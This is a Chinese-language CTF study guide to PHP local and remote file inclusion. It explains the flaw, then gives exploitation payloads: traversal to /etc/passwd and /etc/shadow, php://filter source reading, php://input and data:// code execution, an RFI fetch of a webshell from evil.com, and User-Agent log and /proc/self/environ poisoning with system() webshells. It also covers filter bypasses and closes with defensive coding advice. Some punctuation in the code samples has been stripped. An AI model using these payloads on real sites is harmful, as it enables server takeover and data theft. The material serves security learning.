1. 项目概述从“包含”到“掌控”的Web安全必修课在CTF的Web安全赛道上文件包含漏洞File Inclusion绝对是一个高频且经典的考点。它不像SQL注入那样直接与数据对话也不像XSS那样在用户眼前“炫技”它更像是一个隐藏在代码逻辑深处的“后门”一旦被攻击者发现并利用就能轻易地读取敏感文件、执行任意代码甚至直接获取服务器权限即Getshell。很多刚入门的朋友面对诸如?pageabout.php这样的URL参数时可能只觉得这是网站正常的页面切换功能却不知其背后可能潜藏着巨大的风险。我最初接触CTF时也是在这里栽过跟头明明感觉离flag很近了却总在文件包含这一关卡住那种“隔靴搔痒”的感觉至今记忆犹新。这篇学习笔记就是我结合多年打CTF和做安全研究的经验为你系统梳理的“文件包含篇”通关指南。它不仅仅是一份漏洞原理说明书更是一份从攻击者视角出发的实战手册同时也会站在防御者的角度告诉你如何写出更安全的代码。无论你是正在备战CTF的新手还是希望夯实Web安全基础的开发者相信这份融合了原理、实战、技巧与防御的深度解析都能让你对文件包含漏洞有一个透彻的理解真正掌握从发现、利用到防御的完整知识链。我们会从最基本的本地文件包含LFI聊起逐步深入到更危险的远程文件包含RFI并探讨在当今复杂环境下的各种高级利用技巧与绕过姿势。2. 漏洞核心原理为什么“包含”会变得危险要理解文件包含漏洞首先得明白在Web开发中“文件包含”机制本身是一个非常有用的功能。尤其是在使用PHP这类语言时开发者经常需要复用页头、页脚、导航栏或公共函数库。为了避免在每个页面重复编写相同的代码他们会使用如include()、require()、include_once()、require_once()这样的函数。2.1 正常的包含逻辑设想一个简单的网站结构它有一个主入口index.php通过GET参数page来决定显示哪个内容页面。// index.php 正常且安全的写法 $allowed_pages array(home, about, contact); $page $_GET[page]; if (in_array($page, $allowed_pages)) { include($page . .php); } else { include(home.php); // 默认页面 }在这个例子中程序先定义了一个白名单$allowed_pages然后检查用户传入的page参数是否在白名单内。只有在列表里的值才会被拼接上.php后缀后包含进来。这是一种安全的做法。2.2 漏洞的产生失控的输入然而漏洞往往源于对用户输入过于信任且缺乏有效的过滤。下面是一个典型的漏洞代码// index.php 存在漏洞的写法 $page $_GET[page]; include($page . .php);这段代码的逻辑非常简单直接获取用户输入的page参数拼接.php后缀然后包含该文件。问题出在哪里攻击者可以完全控制$page这个变量的值。程序没有检查这个值是否合法就盲目地将其作为文件路径的一部分。此时攻击者不再局限于传入home、about这样的正常页面名。他可以尝试传入诸如../../../../etc/passwd这样的路径。经过拼接后include()函数尝试加载的文件就变成了../../../../etc/passwd.php。由于PHP的include在找不到文件时通常会抛出警告但继续执行而.php后缀对应的文件不存在所以这次攻击可能失败。但关键在于它揭示了程序包含逻辑的缺陷。更致命的是如果代码连后缀都不加// 漏洞更大的写法 $page $_GET[page]; include($page);那么攻击者传入../../../etc/passwd服务器就会直接尝试包含系统的密码文件。如果Web进程有读取权限文件内容就会被输出到网页上造成敏感信息泄露。这就是本地文件包含Local File Inclusion, LFI。2.3 漏洞升级远程文件包含RFI比LFI更危险的是远程文件包含Remote File Inclusion, RFI。当PHP的配置项allow_url_include设置为On时默认是Offinclude、require等函数不仅可以包含本地文件还可以包含远程服务器上的文件。// 假设 allow_url_include On $page $_GET[page]; include($page);攻击者可以构造这样的URLhttp://vuln-site.com/index.php?pagehttp://evil.com/shell.txt。那么服务器会去请求http://evil.com/shell.txt并将其内容作为PHP代码执行。攻击者可以在shell.txt中写入一句话木马?php system($_GET[‘cmd’]);?从而在目标服务器上实现远程代码执行RCE。注意现代PHP版本中allow_url_include默认关闭且官方强烈不建议开启。因此纯粹的RFI漏洞在真实环境中已较少见但在CTF老题目或特定环境中仍可能遇到。我们的重点更多会放在LFI及其各种“花式”利用上。3. 核心利用技巧与实战拆解理解了基本原理后我们进入实战环节。CTF中的文件包含题 rarely 会直接让你包含/etc/passwd就拿到flag。出题人会设置各种限制和障碍这就需要我们掌握一系列技巧来绕过。3.1 基础LFI与目录遍历这是最直接的利用方式目的是读取服务器上的敏感文件。敏感文件列表/etc/passwd验证漏洞是否存在所有用户可读。/etc/shadow存储用户密码哈希需root权限。\windows\system32\drivers\etc\hostsWindows系统主机文件。Web应用配置文件如config.phpdatabase.inc.php 可能包含数据库密码。网站源码通过包含.php文件有时能直接看到源码需结合其他技巧见下文。日志文件/var/log/apache2/access.log/proc/self/environ等。利用方式使用../进行目录遍历。http://target.com/index.php?file../../../../etc/passwd实操心得../的数量需要不断尝试。太多可能会超出根目录太少则找不到目标文件。可以写个小脚本批量尝试不同深度。3.2 利用PHP封装协议PHP内置了一系列“包装器”Wrapper用于访问不同的输入/输出流。在文件包含中它们成了强大的攻击武器。这是CTF文件包含题中最核心、最常考的知识点。3.2.1php://filter– 读取源码的利器当直接包含一个.php文件时服务器会执行它而不是显示其源代码。php://filter可以让我们在包含文件前先对其内容进行编码或转换从而绕过执行直接读取源码。读取源码?filephp://filter/readconvert.base64-encode/resourceindex.php这个Payload的意思是使用php://filter流应用一个read过滤器将资源内容进行base64编码然后读取resource参数指定的文件index.php。服务器会输出index.php经过base64编码后的内容我们将其解码即可得到原始PHP源码。这是获取其他题目源码、寻找隐藏逻辑和flag的关键手段。多层过滤与编码过滤器可以链式调用。?filephp://filter/readconvert.base64-encode|convert.base64-encode/resourceconfig.php这里进行了两次base64编码有时可以绕过一些简单的过滤。3.2.2php://input– 执行代码的通道这个包装器允许你访问请求的原始数据即HTTP POST请求的body。当allow_url_include开启时可以配合POST请求直接执行代码。GET /index.php?filephp://input HTTP/1.1 ... 请求体Body ?php system(ls /);?服务器会将POST body中的内容作为PHP代码执行。在CTF中即使allow_url_include关闭有时也会因为特殊配置或题目环境而可用务必尝试。3.2.3data://– 内联代码执行类似于RFI但代码直接写在URL中。同样需要allow_url_includeOn。?filedata://text/plain,?php phpinfo();? ?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOz8 base64编码的?php system(“ls”);?3.3 利用日志文件包含Getshell这是LFI漏洞利用的“经典咏流传”场景也是从文件读取到代码执行的关键跨越。思路是将PHP代码写入到某个服务器本地可写的文件中然后通过文件包含漏洞去包含这个文件使其中的代码被执行。最常用的目标就是Web服务器的访问日志如/var/log/apache2/access.log或/var/www/logs/access_log。每次我们访问网站User-Agent、Referer、请求路径等信息都会被记录到日志中。如果我们能控制这些字段并在其中注入PHP代码再通过LFI包含这个日志文件代码就会被执行。实战步骤确认日志路径通过LFI读取可能的配置文件如/etc/apache2/apache2.conf或使用暴力猜解找到访问日志的绝对路径。注入代码使用Burp Suite或curl发送一个特殊的HTTP请求将?php system($_GET[‘c’]);?作为User-Agent。curl -A ?php system(\$_GET[c]);? http://target.com/包含日志通过漏洞点包含访问日志文件。http://target.com/vuln.php?file/var/log/apache2/access.log执行命令如果包含成功页面可能会显示乱码日志文本。此时通过c参数传递命令。http://target.com/vuln.php?file/var/log/apache2/access.logcls如果一切顺利你将看到ls命令的执行结果。注意事项日志文件通常很大包含可能导致页面加载缓慢或超时。注入后最好等几次正常访问再包含确保你的恶意代码被写入日志。另外新版本的Web服务器或安全配置可能会对日志中的特殊字符进行转义降低此方法的成功率。3.4 利用/proc/self/environGetshell在Linux系统中/proc/self/environ是一个特殊的文件它包含了当前进程即处理我们请求的Web服务器进程的所有环境变量。其中有一个叫HTTP_USER_AGENT的环境变量直接对应HTTP请求中的User-Agent头。利用方式与日志包含高度相似通过LFI确认可以读取/proc/self/environ。修改User-Agent注入PHP代码。包含/proc/self/environ文件触发代码执行。优势相比日志文件/proc/self/environ文件通常更小包含速度更快且是实时反映当前进程状态的。3.5 利用临时文件与PHP Segment在一些CTF题目中可能会遇到文件上传功能与文件包含漏洞的结合。即使上传点对文件后缀、内容做了严格检查我们也可以尝试上传一个包含恶意代码的图片在文件末尾添加PHP代码然后利用包含漏洞去包含这个上传后的文件。如果服务器配置不当如未禁用/tmp等临时目录的执行权限或者存在诸如phpinfo()页面能显示临时文件名$_FILES[‘file’][‘tmp_name’]的情况配合LFI就有可能执行代码。这需要精准的时间竞争因为临时文件存活时间极短属于一种竞争条件漏洞利用难度较高但非常巧妙。4. 常见过滤绕过技巧实录出题人不会让你轻易得手他们会在代码中加入各种过滤。下面这些绕过技巧是我在实战和CTF中积累下来的“宝贝”。4.1 后缀拼接绕过这是最常见的防御方式开发者强制为输入添加后缀如.php。$file $_GET[file] . .php; include($file);绕过方法利用%00空字节截断PHP 5.3.4在路径后添加URL编码的空字节%00可以截断后面的后缀。?file../../etc/passwd%00拼接后变成../../etc/passwd%00.php在旧版本PHP中%00会被认为是字符串结束符.php被忽略。此方法在PHP 5.3.4及以上版本已被修复。利用路径长度截断PHP 5.3在Windows下路径长度超过256字节Linux下超过4096字节时可能会发生截断。可以通过填充大量./或../来实现。利用?或#在URL中?之后是查询参数#之后是锚点。服务器在解析文件路径时可能会忽略它们之后的部分。?file../../etc/passwd?.php ?file../../etc/passwd%23.php拼接后变成../../etc/passwd?.php对于文件系统来说?.php只是一个奇怪的文件名后缀而?在HTTP请求中则被解释为参数分隔符实际请求的文件可能是../../etc/passwd。这种方法成功率取决于服务器解析URL的方式。4.2 关键字过滤绕过代码中可能用str_replace()、preg_match()等函数过滤../、php://等关键字。$file str_replace(../, , $_GET[file]);绕过方法双写绕过如果过滤是简单的字符串替换且只执行一次。?file....//....//etc/passwd经过str_replace(‘../’, ‘’, $file)后中间的../被删掉两边的..和//又组合成了新的../。编码绕过使用URL编码、双重URL编码、UTF-8编码等。../-%2e%2e%2f-%252e%252e%252f双重编码php://-php:%2f%2f使用非常规路径表示..\Windows反斜杠在Linux下有时也能被识别。..../某些情况下点号数量异常也可能被解析。4.3 协议限制绕过如果代码检查是否以http://或https://开头可以尝试使用其他协议如file://、ftp://如果允许。利用DNS重绑定或URL跳转使一个看似合法的域名最终指向恶意服务器较复杂多见于高级攻击。4.4 综合绕过案例假设遇到如下过滤代码$file $_GET[file]; if(preg_match(/^[a-z]:\/\//i, $file)) { die(No remote files!); } // 禁止远程协议 $file str_replace(array(../, ..\\), , $file); // 过滤路径穿越 $file . .php; // 添加后缀 include($file);绕过思路目标读取/etc/passwd。直接输入../../../etc/passwd会被过滤。尝试双写....//....//....//etc/passwd过滤后变为../../../../etc/passwd但最后会被加上.php。结合?截断....//....//....//etc/passwd?.php。过滤后变为../../../../etc/passwd?.php包含时可能成功。或者使用php://filter协议。虽然代码检查了://但php://是PHP流协议不是网络协议。然而正则/^[a-z]:\/\//i会匹配任何以字母://开头的字符串所以php://也会被拦截。但注意正则检查的是开头。我们可以利用文件路径php://filter吗不行因为include一个不存在的路径会失败。一个可能的突破口是利用compress.zlib://或phar://等非http开头的包装器如果服务器环境支持。但题目可能禁用了这些包装器。更实际的思路利用日志包含。构造一个包含?php phpinfo();?的User-Agent然后包含日志文件。日志文件路径可能包含../但我们可以先通过其他信息泄露如报错猜出Web根目录的绝对路径如/var/www/html然后直接使用绝对路径包含日志文件避免使用../。例如假设日志在/var/log/apache2/access.log直接提交?file/var/log/apache2/access.log即可绕过../过滤。这个案例说明绕过需要结合具体过滤逻辑、服务器环境和信息收集多角度尝试。5. 实战解题流程与思维导图面对一道CTF文件包含题不应该盲目尝试Payload。建立一个系统的排查流程能极大提高效率。以下是我常用的“四步走”策略5.1 第一步信息收集与漏洞探测确定包含点寻找page、file、load、path等可疑参数。测试基础LFI尝试包含../../../../etc/passwd看是否回显系统文件内容。测试PHP协议尝试php://filter/resourceindex.php或带编码的版本看能否读取源码。观察反应注意页面的报错信息。错误信息常常会泄露绝对路径、PHP配置等关键信息。例如Warning: include(/var/www/html/secret/../../etc/passwd.php): failed to open stream这就泄露了Web根目录是/var/www/html/secret/。5.2 第二步分析过滤与限制后缀检查输入test观察是否自动添加了.php或.html。关键字过滤输入../、http://等看是否被拦截或过滤。尝试双写、编码等绕过方法。协议允许尝试php://input、data://看是否允许执行代码。读取源码这是最关键的一步务必用php://filter读取当前脚本和其他可能相关的脚本如index.phpadmin.phpconfig.php的源码。真正的漏洞利用逻辑和flag位置往往就藏在源码里。5.3 第三步制定利用方案根据前两步的结果选择攻击路径直接读取flagflag可能就在/flag、/home/ctf/flag.txt、./flag.php等常见位置。通过LFI直接读取。日志/环境变量包含如果需要代码执行优先尝试日志包含access.logerror.log和/proc/self/environ。利用PHP Session如果题目有登录功能可以尝试将代码写入自己的Session文件路径通常为/tmp/sess_[你的PHPSESSID]然后包含它。利用文件上传结合上传点上传含恶意代码的文件再包含它。利用php://input或data://如果配置允许这是最直接的代码执行方式。5.4 第四步获取Flag与权限提升执行命令通过包含写入的Webshell或php://input执行ls、cat、find等命令寻找flag文件。绕过禁用函数如果system、shell_exec等函数被禁用可以尝试使用passthru、exec、popen、proc_open或者用反引号ls。还可以尝试用PHP的Scandir、Glob等函数列目录用file_get_contents读文件。寻找非预期解有时flag不在文件里而是在环境变量、数据库或内存中。仔细阅读题目描述和源码提示。6. 防御之道开发者视角当我们从攻击者切换回防御者角色该如何避免自己的代码出现文件包含漏洞呢原则就一条绝对不要信任任何用户输入。白名单永远优于黑名单定义一组允许包含的文件列表白名单只允许包含这些文件。$allowed [home.php, about.php, news.php]; $page $_GET[page]; if (in_array($page, $allowed)) { include(./pages/ . $page); } else { include(./pages/home.php); }固定目录与后缀如果需要动态包含应将文件限制在某个特定目录下并强制添加固定后缀。$base_dir /var/www/html/includes/; $file basename($_GET[file]); // basename()防止目录遍历 $path $base_dir . $file . .php; if (file_exists($path) is_file($path)) { include($path); }关闭危险配置在php.ini中确保以下配置allow_url_fopen Off allow_url_include Off这将彻底杜绝RFI漏洞。使用安全的包含函数如果框架支持例如使用require_once或include_once避免重复包含问题但这不是安全问题的关键。代码审计与安全测试定期对代码进行安全审计并使用自动化工具或手动测试文件包含漏洞点。文件包含漏洞的魅力在于它“四两拨千斤”的特性一个看似无害的功能参数可能成为整个系统沦陷的起点。在CTF中攻克它需要的是对Web运行机制的深刻理解、丰富的经验积累和灵活的绕过思维。而在实际开发中防范它则需要将“安全第一”的理念刻入骨髓对每一处用户输入都保持最高的警惕。希望这篇笔记能成为你Web安全学习路上的一块坚实垫脚石下次再遇到?file时你眼中看到的将不再是一个简单的参数而是一个需要仔细审视的安全边界。